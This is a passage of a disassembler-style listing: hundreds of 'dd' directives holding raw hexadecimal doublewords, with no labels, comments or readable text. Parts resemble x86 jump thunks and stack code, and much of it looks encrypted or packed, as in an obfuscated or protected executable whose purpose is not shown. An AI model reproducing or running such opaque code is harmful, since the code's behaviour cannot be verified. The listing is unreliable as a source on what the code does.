39504479h, 84E15D92h, 0AE745D75h, 7A5F984Dh dd 1C38FD30h, 2A94742h, 194767F6h, 2FE4447h, 1A169426h dd 2602D76Bh, 16332F94h, 7D1C0864h, 431D91C6h, 0B499D078h dd 324A390Dh, 864D2A5Dh, 0ADFCA8DDh, 998229Dh, 9F861D86h dd 80F7B3E8h, 1B892C7h, 685F134Ch, 91668ABFh, 1451F695h dd 0C1787660h, 4125D10Eh, 39F8972Ch, 5AE15D92h, 1F887CB1h dd 1Fh, 0C5F29A21h, 9C217CC6h, 0B89C98E8h, 0B99368CCh dd 7C3F215Fh, 21A188C9h, 0C56DCC7Ch, 32B89469h, 52493D80h dd 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh, 26A55190h dd 39504481h, 30A75B94h, 0CF554178h, 504668h, 243C8900h dd 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch, 0DD682434h dd 89000056h, 6EBE243Ch, 5519504Eh, 924501BDh, 76CD811Ch dd 0C179B631h, 0ED8102E5h, 27E16671h, 315CED81h, 0F58114A8h dd 5695BD81h, 545DEE01h, 81243C8Bh, 4C4h, 4EC8300h, 8F243489h dd 3C8B0847h, 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h dd 5E2434FFh, 0E904C483h, 0FFFAA2B8h, 3F25E4Ch, 0F5B72F9Dh dd 0DD31B88Dh, 0C5030615h, 9771E0FFh, 2EC22D1Ch, 615E7A99h dd 7BE80188h, 0CA3B521Ch, 5F552C34h, 0F4EC12AAh, 0CFB271ACh dd 0BEB1030Ah, 0DC704E22h, 8F063B6Fh, 53D8000Ch, 6CAD7D13h dd 0EDCD7315h, 9C1C0333h, 171A0917h, 0B4C0F5Ah, 0B62B5AFDh dd 0BC665214h, 1FB45DC5h, 4A9F1FC3h, 7DCB7556h, 0AF154115h dd 4B130DA5h, 29001A9h, 0DE41D0Ah, 7625307h, 0E7F8644Eh dd 16E92838h, 7F000000h, 9C406A99h, 77E733h, 3 dup(0) dd 0D4BE900h, 0E8680000h, 0E90615DFh, 0FFFAA20Ch, 15E0D368h dd 0A202E906h, 2768FFFAh, 0E90615E2h, 0FFFAA1F8h, 15E37F68h dd 0A1EEE906h, 568FFFAh, 0E90615E5h, 0FFFAA1E4h, 15E79768h dd 0A1DAE906h, 0E68FFFAh, 0E90615E9h, 0FFFAA1D0h, 15EA3668h dd 0A1C6E906h, 0DB8BFFFAh, 0EF952498h, 0D07504B8h, 0EF942397h dd 0CD7FF6B2h, 0D02C1A8Eh, 0FBAFEEA2h, 0D488C97Ch, 0F266A145h dd 0D387BC63h, 9D25E4D8h, 796BD9A2h, 7932B07Ch, 92395044h dd 7584E15Dh, 0B4959466h, 5267FC11h, 969929E0h, 0A17D9423h dd 0DC5FD1C5h, 1E02EE23h, 96E46249h, 6C079423h, 3FBD10D5h dd 359D397Bh, 0EF000000h, 4C1EBD5Ch, 0FC7C745Dh, 0E9A09267h dd 943C7C59h, 2C06BBDh, 0E2943C7Ch, 9A866A86h, 3C7C73CBh dd 42E19294h, 7B3666A7h, 0F34639h, 81380000h, 0EFB592CDh dd 2A447932h, 0A0BDFEAFh, 6B45E7DEh, 0A7627CB7h, 6DCC7C1Bh dd 4F431FFBh, 0A65A8F38h, 2943782Fh, 83EE5457h, 25E49233h dd 9233839Dh, 8E05FD79h, 6EF29ED7h, 0AC17552h, 9233FF6Dh dd 0B874A962h, 0D6B253E6h, 27DBF72Eh, 0FEA52E4Bh, 0E2C9B7C9h dd 92338660h, 0D3D3A884h, 1B0ED7DEh, 923386A7h, 0EDFFE33Fh dd 3F0253Eh, 0E965C198h, 20C37D9Ch, 0B66A9F48h, 6B1F96BAh dd 243A1430h, 0F4B3F495h, 503B1051h, 9E1558E3h, 841DCC01h dd 0B0CFB83Ah, 718BE79Bh, 530746EAh, 7CE120C4h, 40357E7Bh dd 145A4B5Bh, 4A00000Bh, 72E965A8h, 50C783BAh, 6DEC6099h dd 3AC17DBAh, 0E5E35796h, 7AB96B99h, 559637BEh, 71AC62D9h dd 50853EBDh, 1C0FF1DCh, 6BD9A3A6h, 0D7DB613Eh, 7C4002A9h dd 0C8A46DCCh, 4C215E11h, 2A9EDD8Fh, 0BBFF4ABh, 2A9D77Dh dd 6DCC7C40h, 5F11C8A4h, 0DBF07420h, 5E706B8Ah, 0FC7C86ABh dd 0F0A48067h, 23831DA9h, 3E7F3294h, 558E3352h, 1EB50EA1h dd 13B2C1B2h, 427F24B7h, 2F5D24Eh, 397B36AFh, 0A88Fh, 7932FD00h dd 97395044h, 90FDAC58h, 0A76DCC00h, 880FCB00h, 9BD0AADFh dd 6E318522h, 21DDFAECh, 0C49645D4h, 314DCC5h, 0AA1EFA98h dd 431DBE55h, 15BEFA48h, 2C3E1A9Eh, 0A5E68752h, 0DB5875F1h dd 4910EA29h, 27C861A5h, 0DD87878Bh, 4F8E42F9h, 34AABFA3h dd 832903A5h, 28C3284Ch, 0E44034EFh, 0A29A730h, 0AF5F0000h dd 0C369F06Ch, 0A449D08Ch, 0C368EF6Bh, 0A143D286h, 8400E662h dd 0B773B256h, 904C8D40h, 0AE2A6509h, 8F4B8027h, 59E9A09Ch dd 0BD6BD99Ch, 7E3254E0h, 2AB18B3Fh, 0BEFDAF83h, 5572EEA2h dd 3CF025DEh, 4E7932AEh, 0CC7CE75Bh, 3F23FF6Dh, 568B3453h dd 65767DE2h, 1E3FA08Bh, 6BC767FCh, 637F5C91h, 7318EDDCh dd 4401A856h, 0A994233Dh, 337E7B1Ah, 13397BE9h, 6A8h, 1EBD5C79h dd 5D4C324Ch, 6DCC7CE5h, 2A62501h, 64FDA6C3h, 8267FC1Fh dd 391D560Bh, 0A1A01E4Dh, 30439423h, 4C795491h, 7959397Bh dd 0B3000006h, 4C1EBD5Ch, 0FC20CC5Dh, 927EDA67h, 23A17BC3h dd 4AE99A94h, 7B4D5EAFh, 65A3E39h, 158C0000h, 3BA037BAh dd 20F96A21h, 0E5FB67FCh, 23A09C26h, 0DFFC7894h, 0D3843F1Bh dd 6016FA52h, 0CD75344Ah, 290016CEh, 46CD304Dh, 9FD0BB95h dd 50A26A2h, 0AB578E36h, 1D39782Ch, 0CDE3A40h, 0D27F8DDFh dd 14E9887Fh, 2A169D12h, 0A07E3F85h, 1F413DD5h, 0EFD34F43h dd 5AE62EDDh, 0C29E0036h, 0F995D6A8h, 0DAC26296h, 5F1348FFh dd 0EBFADF03h, 0E1F86CEFh, 1BC48F6Ch, 0A44514E6h, 49D08663h dd 0E3006DA2h, 0ABD252A9h, 8D5EAFBh, 5B0B0000h, 6F15A418h dd 50F58438h, 6F14A317h, 4DFF7632h, 50AC9A0Eh, 7B2F6E22h dd 540849FCh, 72E621C5h, 53073CE3h, 1DA56458h, 0F96BD99Eh dd 96D730FCh, 751849B1h, 0D40C0734h, 0EB2CDD5Ch, 739E450Eh dd 0CC430AB8h, 526EEA6Dh, 19C2519Eh, 92CF7447h, 4B376C13h dd 3BEE12E7h, 67F665C3h, 0D33CB69Bh, 7EB6E623h, 0F73FE662h dd 639426AEh, 0E01DD289h, 5F817B0Bh, 26AE16ACh, 269EE94h dd 95DB557Eh, 9497698Dh, 94269B2Eh, 0C68D6AC6h, 0F74E81Dh dd 0E3FDCF0Ch, 269B9A28h, 0C99E7A94h, 9B56F4B7h, 0B2AE9426h dd 0EB20C7BEh, 99C3DC11h, 8191E390h, 9B33F26Ch, 0AC94267Eh dd 7CC6C5F6h, 9894267Eh, 0A5A6B89Ch, 39A4D4BBh, 0A41A2F15h dd 4D396E15h, 2619A01Eh, 6B0A9994h, 70EC21CAh, 190D42E9h dd 2689F452h, 6AA54994h, 306B1FB6h, 0DD740744h, 17AE45EFh dd 4E20550Eh, 9C97930h, 312D9426h, 0C499D47Ah, 13F89FAh dd 32030000h, 39504479h, 0CD0EBF95h, 0D00DC2D9h, 40244024h dd 0AD5FDA54h, 10B2596Eh, 2D6DCC7Ch, 60554176h, 0C1688259h dd 67F65A45h, 4A933C21h, 577B76C0h, 0A78B77B4h, 48FAB1CBh dd 0AC9426E0h, 0C02794B0h, 6C4A02C9h, 77D2FB8h, 13B30000h dd 27DD5CD0h, 8BD3CF0h, 27DC5BCFh, 45E76EEAh, 28545206h dd 63D716BAh, 3CF031D4h, 5ACE09BDh, 3BEF24DBh, 5BD6C50h dd 0E16BD99Fh, 79323804h, 97395044h, 0BD458658h, 8FCE96C8h dd 3A71178Eh, 6C22991Dh, 45FE7D31h, 6B1D9C10h, 0AF61782Ch dd 5E058470h, 0A95E7D29h, 12B1B86Ch, 2B504D73h, 1A73294h dd 342223C1h, 587CCAE8h, 3A14B883h, 0CBA75B92h, 0A56833A7h dd 15336AF9h, 2485DD8h, 7A2EF19Fh, 7EB473Bh, 8C619850h dd 19E4h, 0DBF1DA00h, 0F29C7C68h, 4021ABC0h, 0A8h, 0D3490B40h dd 0D2E89216h, 79322FF5h, 0BD095044h, 9F6DCC0Ch, 3BE44DE4h dd 1F0AF406h, 92338CA3h, 5E934C43h, 0E221C382h, 0A115322Eh dd 4D39741Ah, 338CA11Eh, 92D37692h, 0A41E7DEh, 0DD652416h dd 3992338Ch, 0D66D0E3Dh, 1DB483EAh, 77336E14h, 417C32F1h dd 55903655h, 38D7ECA1h, 2C671B9Eh, 0A3DE844Fh, 9405A4C9h dd 7968F552h, 0CCE73092h, 7C58D46Dh, 7B30D75Fh, 0E96DCC9Fh dd 0FDD86204h, 9382FBDEh, 6DCC392Fh, 94876BC7h, 336AE538h dd 0FFFE7E1Ah, 96D770FFh, 0F2A6E9ADh, 0EB372F3h, 2D49F8D5h dd 0C3000003h, 5B4E7932h, 6DCC7CE7h, 533F23FFh, 0CC7CAA04h dd 0F58C2B6Dh, 8A3E732Ch, 731F540Bh, 0CC7C8A24h, 0CF04BB6Dh dd 9447CE23h, 5A37CFBAh, 53CF67F6h, 27795E6h, 0E8F1A54Ah dd 5F7h, 7E3A7D2Dh, 9E1A51F7h, 85397217h, 981451F6h, 7C306F21h dd 4C00728Eh, 27CA510Dh, 3FE372E6h, 1AD14804h, 7A8669E5h dd 0D999338Fh, 4ED6D36Bh, 50447932h, 86589739h, 913612B3h dd 0A0847054h, 0B22913CBh, 0B9D0C4F9h, 0E3F8DC13h, 0BE7AAF58h dd 0A9609537h, 6DCC7C19h, 2B4521FDh, 64CAF342h, 55725BEEh dd 3F7E32A9h, 0CE65F653h, 0D286C567h, 6B6CC607h, 276A633h dd 5CE40000h, 3F661AC1h, 6EDF7BB5h, 65801F54h, 325A288Ch dd 25F6Ch, 4D7DE00h, 0A6E18561h, 0CD50ADCAh, 49FCCC73h dd 0F608EC08h, 9185BE63h, 33721695h, 0FB474216h, 1B6DCC7Ch dd 8804533Fh, 476EDF7Bh, 80BD72E9h, 0BC39D86Bh, 325A28F1h dd 0F736DA61h, 21E6EE2h, 5CDC0000h, 1E401AC1h, 0CC7CD76Bh dd 16332F6Dh, 7CE74742h, 431F6DCCh, 7B8C084Fh, 0C77D6EDFh dd 41E5E490h, 0F9881A06h, 0EE25DB5Ah, 51421E02h, 0B80A01DFh dd 5C6CDD7Dh, 0B958EB00h, 5A28713Ch, 1DA5132h, 5CBB0000h dd 49401AC1h, 6DCC7CE1h, 0E5D4925h, 6EDF7B82h, 0E591D273h dd 1A063FE6h, 765AF988h, 9A5FF68Dh, 325A2957h, 1AF37h dd 79329500h, 0FB185C3Bh, 3F11FC4Bh dd 0CCF9F64Ch, 2E120E6Dh, 679C4342h, 9F709F3h, 0CCF9A022h dd 41E8446Dh, 6DCCF981h, 91F40965h, 84875982h, 67FC94A7h dd 964E0D5Fh, 130AB85Fh, 0D3EA943Ch, 0F4D0F42Fh, 70AB5FDAh dd 42FCAB5Bh, 0A1943C13h, 9B767312h, 7B397ABAh, 46h, 0F996D7D1h dd 6E6F62B5h, 601BFBF0h, 320E1452h, 0AA31C815h, 0EAF8D9D0h dd 0A71E67FCh, 5BD7CB00h, 36371D6Eh, 0A2BEFF9Eh, 0F71FA7EEh dd 0C5FE943Ch, 782DAC2Eh, 0A8E1883Fh, 9C6378FCh, 397AAB51h dd 0EA31h, 79329B00h, 97395044h, 0CB38658h, 2D49883Ch dd 1EE0FD79h, 0D7CB00A7h, 953707C0h, 0F0EF674Dh, 75518F13h dd 0E0CBA581h, 6DCCBC62h, 0ECAA682h, 0EB57522Ch, 0B6DCCBCh dd 24513A0Fh, 0C06DCCC0h, 0C057EB9Eh, 0B3AF6DCCh, 31661D96h dd 4A91287Dh, 0D48B4E30h, 40245D04h, 932FDA54h, 736DCCC0h dd 5FEDBF7h, 67FA0D3Fh, 62E0CBB5h, 8294227Bh, 42792FA6h dd 8037525h, 94227BBAh, 0B0C1A725h, 2AE2F186h, 2638122Eh dd 9CB1F293h, 1C2E6D1Fh, 0F9ADEA9Dh, 4D6607Dh, 0AB579035h dd 463A772Ch, 6AF106EAh, 0A3E287C6h, 0EF4A0601h, 365AE37h dd 0EB9B0000h, 0FFA534A8h, 0E08514C8h, 0FFA433A7h, 0DD8F06C2h dd 0C03C2A9Eh, 2B9FDE92h, 4B8F9ACh, 2296D175h, 3B7EC93h dd 0CD753408h, 296BD99Bh, 7E3200CCh, 530C8B3Fh, 321CAA1Eh dd 39504479h, 0D00DC292h, 349138F4h, 356DCC7Ch, 98233D9Eh dd 4DF6B5F4h, 6E1D4318h, 67FC2BE5h, 3894521h, 50447932h dd 8C55EDDEh, 0A32AC7FEh, 0CC175AE8h, 825EBA6Dh, 35EE65h dd 0FBE0F74Ch, 7A012AE1h, 58E367FCh, 9E6479B0h, 95D6A8C2h dd 93238238h, 60E2C946h, 84943CCDh, 457A31A8h, 6F8D551h dd 3CCDE75Fh, 0D66D0694h, 7A78BA13h, 479A39h, 0D7F00000h dd 6F235E04h, 7087D6F3h, 916F916Bh, 0CC7C289Ah, 7B50CC6Dh dd 0FC7CA390h, 1B076367h, 270E3F21h, 0CAF9305Bh, 5202C067h dd 681B9423h, 3FB772Bh, 0ED595227h, 10942352h, 0D819DC73h dd 0B8397C07h, 0DEh, 4E793212h, 0CC7CE75Bh, 5990386Dh dd 0FDA9CDA9h, 14AE5D83h, 0F06DCC7Ch, 28DC5774h, 0E59E3DE9h dd 1EC5C4B0h, 785C994Eh, 74516566h, 0EBD46E1Dh, 34306DCCh dd 64606107h, 8B6084BDh, 0DA7B14D3h, 934C6DCCh, 0B46BEA5Eh dd 971E937Fh, 0BA7F2A44h, 4C67FCDAh, 0F0075CD0h, 0DDC11EBh dd 0D811B8EEh, 0C5779FF3h, 0E1D9D0A8h, 59E0A5Ch, 0E0845729h dd 0FAAE2DA1h, 7AC90EBBh, 75214036h, 1EE64h, 3F822400h dd 1D540C8Bh, 3A731AA1h, 1754F77Eh, 317014A3h, 1738F7Dh dd 1D9C104Fh, 28AF2B6Ch, 4934782h, 0B7B2265Bh, 957CC6C5h dd 1B986BD9h, 0D196D791h, 6D468AB5h, 0DE92491Eh, 0F3AC2B9Fh dd 0B2BFACBEh, 6B49A90Ah, 9E803613h, 5138651Bh, 6DCCA2F1h dd 493D1915h, 7BBA6EEDh, 0A9D7C65Eh, 0CC7C4002h, 35236F6Dh dd 0D40C8838h, 0C8FFA51Ch, 5F7C58DCh, 0AE4F7FEh, 83C465F4h dd 5294BD66h, 7267FCh, 3C51B909h, 0E5015D94h, 6A213F31h dd 943C51D8h, 200BE03Ch, 943C51A6h, 0BD70EB45h, 25BC5F7Ch dd 7B08EDC0h, 0BDCD39h, 323F0000h, 0DE504479h, 0B66AA95Bh dd 72169DBAh, 7F183F33h, 506DCC00h, 63886297h, 0E5ACEFAFh dd 3BC7B03h, 293E22CEh, 487D26B5h, 8B50675Ch, 2171BA71h dd 0DF39803h, 2366A41Eh, 0F7E44094h, 9EEA1975h, 0F1B1C67Fh dd 4D6CB975h, 1CCDBC8Eh, 889E1559h, 0BE01FD1h, 7A411B17h dd 942397D6h, 0DD03A8F0h, 3F762758h, 11BCF64Ch, 2E120E9Eh dd 956AA512h, 0CEC64035h, 0C6C5h, 74AFC00h, 0E51CC453h dd 23BF269h, 0DF1CCF46h, 0F938EC6Bh, 0C93B4745h, 0E574E827h dd 0D0470344h, 0EC6BDF1Ah, 5F4AFE33h, 9614AE5Dh, 0F3F06BD9h dd 296D729h, 0C81159A5h, 3A52E4Bh, 0DA9108C4h, 32A329A5h dd 0F3A43B79h, 47967AB3h, 0B9BD69A2h, 0CECDB99Dh, 176CE015h dd 0A01DB00h, 67F6F5F0h, 7646FD94h, 92AE92D3h, 0B40E7DEh dd 0EA1FC84Fh, 20836F36h, 6BCDFA5h, 0CC0D7CBh, 0FDA6D9CDh dd 0F5E05166h, 7316ED73h, 4CE3BC4Fh, 55093EE5h, 16E81DC6h dd 0B561A243h, 90EA9CB1h, 80EFD35Bh, 4419A74Bh, 0EB97D477h dd 2FAB4AF9h, 0C8BCF5ACh, 1BC48F6Ch, 0D18872E6h, 500BE01Fh dd 25AE6297h, 3, 326D5F97h, 52493D80h, 19B06499h, 4F463A75h dd 32A95D9Eh, 34533F7Eh, 26A55190h, 39504481h, 30A75B94h dd 0CF554178h, 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch dd 0C8682434h, 8900003Ah, 0DE682434h, 8900000Fh, 0A768242Ch dd 8B0615DEh, 0C4832434h, 2C8B5404h, 4C48324h, 18B85051h dd 0B91C025Ch, 1C025C20h, 158C129h, 593189E9h, 57242C8Bh dd 0C781E789h, 4, 4C781h, 3C870000h, 348B5C24h, 0E2895224h dd 4C281h, 0C2810000h, 4, 5C241487h, 0FA94CFE9h, 0D28B65FFh dd 0EB21B89Ah, 0C5030615h, 123AE0FFh, 0E84F6948h, 18DE7F48h dd 72612C14h, 0F945450Dh, 9B736512h, 57E52EA7h, 0F33B0A20h dd 3A306567h, 50997DF1h, 0F99D6524h, 8D7D5CEFh, 0FD6D7B49h dd 6707423Bh, 29C713B8h, 0FAD4461Eh, 0C8FD254Eh, 1051EFh dd 167F6FA6h, 95C35D97h, 84265F82h, 0DE3510F3h, 44FC1BD3h dd 0A50822A1h, 72235E4Ah, 0FD3F6156h, 51C72546h, 725C6957h dd 71BC1E99h, 739E6557h, 0A5908E0h, 4EEA5C3Bh, 0C08B41D2h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0E0C35646h dd 0F1E8A44Fh, 0B830F97h, 0F000000h, 588h, 0E2816600h dd 0BD83EE72h, 610158Dh, 83097500h, 100095BDh, 19740006h dd 0C08B5350h, 3FCB8h, 65858900h, 8D06100Eh, 12B8159Dh dd 5BD3FF06h, 95BD8358h, 61000h, 53501774h, 3FCB8h, 65858900h dd 8D06100Eh, 12B5049Dh, 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 23B06384h dd 0EE927h, 0E8BE0000h, 54348E9Bh, 356584FEh, 0AC5E479h dd 55006AFCh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 638954E5h, 60566FA7h, 14E8h, 0C96D7700h dd 147D7AE2h, 5B882BAEh, 2CD34301h, 0E366E0DEh, 13E988h dd 0EA3A0000h, 6063B42Ah, 0F0DF04A2h, 0C21EB576h, 34EA8415h dd 52B75A90h, 8B74B661h, 6AC08BD3h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0E0E1C356h dd 27530B03h, 12E9h, 61E59100h, 83008782h, 0D8EA00D8h dd 0A96C6C81h, 838773FFh, 102209BDh, 840F0106h, 43h, 0BD831EB7h dd 6102D11h, 34850F00h, 0F000000h, 389h, 42EE8000h, 5840Fh dd 0C1BB0000h, 834A76C1h, 103105BDh, 840F0006h, 68h, 0EE9h dd 7967B500h, 34EE6E46h, 0A2986D74h, 0E9D1A80Ch, 382h dd 0A4B6h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 363072C3h, 1D3064Dh, 6A5E8Bh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 34406AC3h, 0BB791936h, 468EAE68h, 0D0651D5Ah, 0B3CFAEFEh dd 2D624E70h, 0EEC954FCh, 9ADFF22Ch, 5436A8BAh, 3DDEFA5Fh dd 1E36A8AFh, 0B76C6B8Dh, 0BF328CBFh, 28328CB1h, 7C36A8FAh dd 0F5EA6B2Fh, 0E189A72Eh dd 0D6635DD5h, 3E36A8AFh, 67DB298Ah, 3130BD05h, 3E5C704Ah dd 3E3540ACh, 6016A87Dh, 4ABFF67Dh, 7AB7AC7Bh, 3E21AC8Bh dd 6870A8D7h, 0A1638C28h, 3E3E4157h, 795EA8FAh, 0FDEEE41Ch dd 0FEBD0EB7h, 0D667A835h, 3E36A8ACh, 67F5F1F7h, 3A12E462h dd 3A12EC74h, 3E36A8E7h, 2F5F93Ch, 0E7C79A64h, 0D4EC2CDAh dd 0D76638E5h, 3E36A8D0h, 3A0BC5E8h, 0AEDE8C55h, 0D665A890h dd 3E36A87Eh, 65F5F39Eh, 3A12F4D6h, 3A12EC2Eh, 3E36A8CAh dd 1AF5FBA8h, 1C84070Eh, 0C75918A5h, 7237A752h, 2CDE569Ah dd 0CE36A85Fh, 0B690D66Bh, 15FC199Bh, 5C6E767Fh, 0DF7FB551h dd 3E264072h, 6AB8A87Dh, 0E86820E6h, 0A97C5BC1h, 932121Dh dd 6460C334h, 546EF3B1h, 3DDEFDF5h, 1E36A8FAh, 0B76B6B20h dd 0BF328CD2h, 25328C1Bh, 7B36A8AFh, 0FFA06B82h, 92A8F1C1h dd 0EFBDF03Fh, 3E34A4FFh, 0BD39FE7Dh, 3E36A8B8h, 0FDC242DEh dd 586DF7A0h, 0B534A06Dh, 6F36C2E3h, 3E36AB1Dh, 0FD6F88FAh dd 1A7A2124h, 1A7229BAh, 3E36B25Bh, 0FD67E9AFh, 3789CF9Ch dd 0C22B66B1h, 0C27E2393h, 3E36AE13h, 0AA5F527Dh, 8603C28Ah dd 3E36A85Eh, 0D664A8C5h, 3E36A8D4h, 64F5F2CBh, 3A12FC7Ch dd 3A12EC7Bh, 3E36A864h, 48F5FAFCh, 7F66E63Bh, 33DF39BCh dd 9236A8D7h, 0ADDCF537h, 29C7C0F8h, 7269A628h, 0B550C82Dh dd 3E3B4149h, 0EE89A85Fh, 995C1674h, 0E41DD81Bh, 5F37E69Ch dd 0FA8CCE64h, 0E7BACE54h, 0D664A817h, 3E36A8BDh, 64F5F27Fh dd 3A12FC26h, 3A12EC56h, 3E36A8F6h, 0BFF5FAB7h, 32248B97h dd 775B5FC5h, 3AF75EAFh, 3EDF2D50h, 3E5CA8AFh, 3E354084h dd 6516A8EBh, 62BFF336h, 7AB7ACDEh, 3E23AC59h, 6D75A8BEh dd 3163339Ch, 546F7E10h, 3DDEF8D7h, 1E36A8EBh, 0B76E6BADh dd 0BF328CBEh, 2B328C39h, 7E36A8BEh, 0B5916B0Fh, 0EECF0315h dd 7DF028C2h, 315E916Bh, 3E367670h, 0B5891AFAh, 3E5CA904h dd 3E3540EEh, 6616A85Fh, 7ABFF06Ch, 7AB7ACF3h, 3E2BACCFh dd 6E76A8F5h, 0F4353939h, 0CEDB4D28h, 58E90C6Ah, 77C26ADEh dd 3E36B846h, 82084D7h, 1E610FB0h, 6C6E95Ah, 0A6EBFB53h dd 3EC9294Fh, 31B6A8BEh, 3E3626DDh, 3BB9A7AFh, 5836A8D7h dd 49167B6Ah, 0D3FD2D32h, 3E37AEEFh, 8939A87Dh, 3E4E4169h dd 8139A85Fh, 3E5F4170h, 3E5CA8D7h, 3E3540B8h, 6516A8F5h dd 62BFF339h, 7AB7AC59h, 3E2BAC9Ah, 6D75A85Fh, 0BBE08F6Ch dd 77F045DCh, 6744DA4Fh, 0D666A89Fh, 3E36A8F9h, 66F5F05Dh dd 3A12EC37h, 3A12ECDEh, 3E36A8B4h, 0AF5F897h, 1D0977F2h dd 0C7D5A5D1h, 354F2B9Ch, 2AB2A782h, 8836A8BEh, 0F5B36FCFh dd 3F30BD42h, 5836A8D7h, 0D8D7F60h, 767188F0h, 3D37637Bh dd 898FF820h, 0B34DF4BEh, 2BC58BDAh, 598B25A9h, 530BD26h dd 0E31DC13h, 79FF79FAh, 3E5C5D11h, 3E35402Fh, 6416A8BEh dd 6ABFF29Ch, 7AB7AC8Bh, 3E2BACF3h, 6C74A8EBh, 0AF49C636h dd 0FE36663Dh, 58F0FB41h, 5DF7623Fh, 3E36AFB7h, 82887DAFh dd 0B0FAEDB7h, 3EBDA7BAh, 6436A8F5h, 3EC529A1h, 0BD27A0F7h dd 2E14A103h, 0BA39A959h, 3E36A8C6h, 0D664A8BDh, 3E36A8E8h dd 64F5F2D5h, 3A12FC73h, 3A12ECFCh, 3E36A8AAh, 0EFF5FA1Dh dd 0BDE823C9h, 2E1BB96Ah, 0BB39A8EDh, 3E36A8C8h, 0D666A890h dd 3E36A87Eh, 66F5F09Eh, 3A12ECD6h, 3A12EC2Eh, 3E36A8CDh dd 8CF5F8ABh, 413FE2D0h, 0CB564438h, 5FC1231Bh, 7BDD29D8h dd 3B8B2BC4h, 3E30B89Eh, 3E3D2CD8h, 8939A8EBh, 3E9B4124h dd 0CDB6A8FAh, 378B2B6Fh, 3F30B89Ch, 3E572D50h, 3E5CA8AFh dd 3E354080h, 6116A8EBh, 42BFF736h, 7AB7ACDEh, 3E2BAC59h dd 6971A8BEh, 0E1DEBA9Ch, 0AFF5F9Bh, 0BEBA99DEh, 6D6B2D39h dd 0E7D52993h, 0D7F5F3B1h, 3E36A873h, 0ABFB5456h, 844B7069h dd 5A2976EAh, 6ADFFBB6h, 0D636A8EBh, 3E36A8F0h, 4A522CB5h dd 3E3E41A0h, 7DCA8BEh, 6010B95h, 636DAE29h, 0D664A8BDh dd 3E36A8E8h, 64F5F2D5h, 3A12FC73h, 3A12ECFCh, 3E36A8AAh dd 6AF5FA1Dh, 3E36AD46h, 763384D7h, 0D7F9F0A6h, 3E36A8FAh dd 978F003Eh, 6E2457FFh, 0ECC3525Bh, 0B3FCF68Bh, 2BD8B112h dd 0CEBB25D1h, 8630BD19h, 450CF4E8h, 1F0B2DC9h, 0F11DAE6Dh dd 0F4BE898Fh, 8BDAB34Dh, 25A92BC5h, 0BD26598Bh, 0DC130530h dd 79FA0E31h, 831179FFh, 0A4F305E9h, 0EDCBBD83h, 74000615h dd 858D8D0Dh, 0B806104Eh, 1, 6A40E1FFh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0B74EC355h dd 639771CAh, 7E9D68Bh, 9D000000h, 0D6715B58h, 0E88312DFh dd 5DB812Dh, 664D1AC7h, 8B383EBAh, 837AB2C0h, 10158DBDh dd 9750006h, 95BD83h, 74000610h, 8B535019h, 3FCB8C0h, 85890000h dd 610132Dh, 0B87C9D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h dd 50177400h, 3FCB853h, 85890000h, 610132Dh, 0B51D9D8Dh dd 0D3FF0612h, 6A585Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0A6C04AC3h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 12C35646h, 54FB5BAAh, 0DB816637h dd 7E965CCh, 0B2000000h, 62D159C7h, 0C08B8FA3h, 31E9h dd 0ADF0D000h, 74h, 0Ah dup(0) dd 0EDE90000h, 6800000Bh, 615F5EAh, 0FB56A7E9h, 0F6C568FFh dd 9DE90615h, 68FFFB56h, 615F8BBh, 0FB5693E9h, 0F9A468FFh dd 89E90615h, 68FFFB56h, 615FC51h, 0FB567FE9h, 0FDCB68FFh dd 75E90615h, 68FFFB56h, 615FEC1h, 0FB566BE9h, 0D385DAFFh dd 5F192F7Eh, 0D88AC332h, 70223A8Bh, 0C680D223h, 58DBAB99h dd 0AA1B4802h, 55A8FDB7h, 0B3024F01h, 3BB9E6A0h, 393C5BA8h dd 0BF191DDEh, 0B3AB5ACBh, 8BD48201h, 506F293Ah, 6377D201h dd 53A8FDA9h, 453857A4h, 711D17C8h, 0E99DC130h, 5A536D1Ah dd 68141DD8h, 786B1A69h, 2EC1D01Bh, 0E89411B8h, 486915BCh dd 0B82EACBFh, 0F1AC2311h, 3346B142h, 2211B82Fh, 97497D72h dd 0C946CCD6h, 4637BE93h, 8B000000h, 5BB6AB5Ah, 7A194D07h dd 200EA3CCh, 81A655Ch, 0FE1DD846h, 1BA25C6Fh, 56462E6Fh dd 0EC81A67h, 3880C36Fh, 6377DEDh, 8AD5FE9Fh, 11B905E3h dd 0E6BC75ECh, 0BE92F680h, 0E471h, 6E631200h, 40610DB4h dd 0AC075C6Ah, 99B300B2h, 0C514BBE7h, 65B4DB95h, 0C815BC76h dd 0C81D3893h, 0C8451C3Bh, 194D3917h, 8F29BD7Ah, 2C5AA76h dd 5E4D024Eh, 5C05B70Fh, 0C88AAD6Bh, 8DE8FB17h, 0AEFB823Ch dd 31DDE496h, 91643165h, 0CA398842h, 0C8811A3Dh, 0C43C3B17h dd 222021C5h, 0C4CF90C4h, 3A89FD61h, 0DE65CEC9h, 537E1E2h dd 3E2D6B5Ch, 0C791DD9h, 0C8761DD7h, 0B4E18DA7h, 867D012Dh dd 832CDEF7h, 0D975F380h, 120217CBh, 43FD4E9Bh, 65CA91Ah dd 0B4A6174Ch, 0FDDEFCFAh, 0A72AE211h, 99E11h, 0AB5D7200h dd 17D107F6h, 0B0627B4Ah, 8BA12E3h, 0BE786A5Bh, 50D3A391h dd 0A21340FAh, 4DA0F5AFh, 0AB1A47F9h, 5351FEB8h, 39E47300h dd 0D7711DDEh, 4C065C23h, 0FBB5A617h, 0B3A855A6h, 832CDAF9h dd 621A4827h, 